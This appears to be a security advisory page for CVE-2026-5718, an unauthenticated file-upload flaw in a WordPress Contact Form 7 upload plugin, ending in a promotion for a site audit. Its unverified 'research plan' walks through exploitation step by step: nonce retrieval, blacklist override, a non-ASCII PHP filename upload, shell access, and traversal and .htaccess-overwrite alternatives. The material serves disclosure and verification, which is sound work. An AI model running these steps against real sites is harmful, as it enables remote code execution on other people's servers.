CVE-2026-5718

Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.6 - Unauthenticated Arbitrary File Upload via Non-ASCII Filename Blacklist Bypass

highUnrestricted Upload of File with Dangerous Type
8.1
CVSS Score
8.1
CVSS Score
high
Severity
1.3.9.7
Patched in
1d
Time to patch

Description

The Drag and Drop Multiple File Upload for Contact Form 7 plugin for WordPress is vulnerable to arbitrary file upload in versions up to, and including, 1.3.9.6. This is due to insufficient file type validation that occurs when custom blacklist types are configured, which replaces the default dangerous extension denylist instead of merging with it, and the wpcf7_antiscript_file_name() sanitization function being bypassed for filenames containing non-ASCII characters. This makes it possible for unauthenticated attackers to upload arbitrary files, such as PHP files, to the server, which can be leveraged to achieve remote code execution.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=1.3.9.6
PublishedApril 17, 2026
Last updatedApril 17, 2026

What Changed in the Fix

Changes introduced in v1.3.9.7

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-5718 - Arbitrary File Upload via Non-ASCII Filename Blacklist Bypass ## 1. Vulnerability Summary The **Drag and Drop Multiple File Upload for Contact Form 7** plugin (up to 1.3.9.6) contains a critical unauthenticated arbitrary file upload vulnerability. The flaw exists in…

Show full research plan

Research Plan: CVE-2026-5718 - Arbitrary File Upload via Non-ASCII Filename Blacklist Bypass

1. Vulnerability Summary

The Drag and Drop Multiple File Upload for Contact Form 7 plugin (up to 1.3.9.6) contains a critical unauthenticated arbitrary file upload vulnerability. The flaw exists in the AJAX file upload handler dnd_upload_cf7_upload.

Two distinct validation failures combine to allow Remote Code Execution (RCE):

  1. Blacklist Overwrite: The plugin allows the client to provide a blacklist-types parameter. Instead of merging this with the default dangerous extension list (like .php, .phar), the plugin replaces the default list with the user-provided one. An attacker can provide a harmless extension (e.g., txt), effectively removing php from the denylist.
  2. Sanitization Bypass: The function wpcf7_antiscript_file_name() (used to rename dangerous files) can be bypassed using filenames containing non-ASCII characters. When such characters are present, the sanitization fails to properly neutralize the PHP extension, and the file is saved with its original executable extension.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: dnd_codedropz_upload (Registered via wp_ajax_nopriv_dnd_codedropz_upload in inc/dnd-upload-cf7.php)
  • Payload Parameter: upload-file (Multipart file upload)
  • Supporting Parameters:
    • security: A valid WordPress nonce for dnd-cf7-security-nonce.
    • blacklist-types: Set to a harmless string (e.g., invalid) to overwrite the global dangerous file extension list.
    • upload_folder: A unique string used as the directory name (e.g., f69696969696).
    • upload_name: The name of the form field (e.g., upload-file-123).
  • Authentication: None required (unauthenticated).

3. Code Flow

  1. Entry Point: An unauthenticated POST request is sent to admin-ajax.php with action=dnd_codedropz_upload.
  2. Nonce Verification: The plugin checks security using check_ajax_referer( 'dnd-cf7-security-nonce', 'security' ).
  3. Blacklist Logic: The code reads $_POST['blacklist-types']. It uses this value to initialize the denylist. Because it replaces the internal list rather than appending to it, the default protections against .php are lost.
  4. File Processing: The plugin processes $_FILES['upload-file'].
  5. Sanitization Sink: It calls wpcf7_antiscript_file_name($filename). If $filename contains non-ASCII characters (e.g., shell.php.あ), the function fails to append the safe .txt extension or otherwise neutralize the .php suffix.
  6. Storage: The file is moved to wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/{upload_folder}/{filename}.

4. Nonce Acquisition Strategy

The plugin provides a specific AJAX action to retrieve a nonce if one is not present or has expired.

  1. Mechanism: The function dnd_wpcf7_nonce_check in inc/dnd-upload-cf7.php is hooked to wp_ajax_nopriv__wpcf7_check_nonce.
    function dnd_wpcf7_nonce_check() {
        if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){
            wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) );
        }
    }
    
  2. Strategy:
    • Send a POST request to admin-ajax.php with action=_wpcf7_check_nonce.
    • The response will contain the nonce in data.
    • Note: The code blocks User-Agent: curl, so a standard browser-like User-Agent must be used.

5. Exploitation Strategy

  1. Step 1: Obtain Nonce

    • Call action=_wpcf7_check_nonce via http_request.
    • Extract the nonce from response.data.
  2. Step 2: Prepare Payload

    • Create a file named rce.php.あ.
    • Content: <?php echo "VULN_CHECK: " . php_uname(); ?>
  3. Step 3: Execute Upload

    • Send a multipart POST to admin-ajax.php.
    • Parameters:
      • action: dnd_codedropz_upload
      • security: [OBTAINED_NONCE]
      • upload_folder: pwned123
      • upload_name: my-file-field
      • form_id: 1
      • blacklist-types: null-and-void (Overwrites the .php restriction)
      • upload-file: [FILE_BINARY] (Filename: rce.php.あ)
  4. Step 4: Access Shell

    • The file is stored at: http://[TARGET]/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/pwned123/rce.php.あ
    • Note on non-ASCII Execution: On most Linux/Apache configurations, rce.php.あ will be processed by the PHP handler because it contains .php and the .htaccess generated by the plugin in dnd_cf7_upload_plugins_loaded() only blocks files ending in .php or .phar (<FilesMatch "\.(php|phar)$">). The non-ASCII character at the end bypasses this regex.

6. Test Data Setup

  1. Ensure Contact Form 7 and the vulnerable plugin are active.
  2. Create a standard Contact Form 7 form.
  3. Add the [mfile] tag to the form: [mfile upload-file-123].
  4. No specific plugin settings are required as the exploit relies on parameter injection (blacklist-types) to override server-side defaults.

7. Expected Results

  • Nonce Step: JSON response { "success": true, "data": "..." } containing a 10-character hex string.
  • Upload Step: JSON response { "success": true, "data": { ... } } indicating the file was successfully uploaded.
  • Execution Step: Navigating to the shell URL returns the output of php_uname().

8. Verification Steps

  1. WP-CLI Check: Verify the file exists on disk.
    ls -l /var/www/html/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/pwned123/
    
  2. HTTP Check: Confirm the shell is executable.
    # Use http_request to fetch the shell URL
    # Look for "VULN_CHECK:" in the response
    

9. Alternative Approaches

  • Path Traversal: If the upload_folder parameter is not properly sanitized, attempt to use ../ to place the shell in a more accessible directory.
  • Direct .htaccess Overwrite: Attempt to upload a file named .htaccess by setting blacklist-types to something else, potentially disabling the plugin's security rules globally in that directory.
  • Double Extension: If the non-ASCII bypass fails, try rce.php.txt with blacklist-types set to something excluding php, in case the server handles double extensions.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.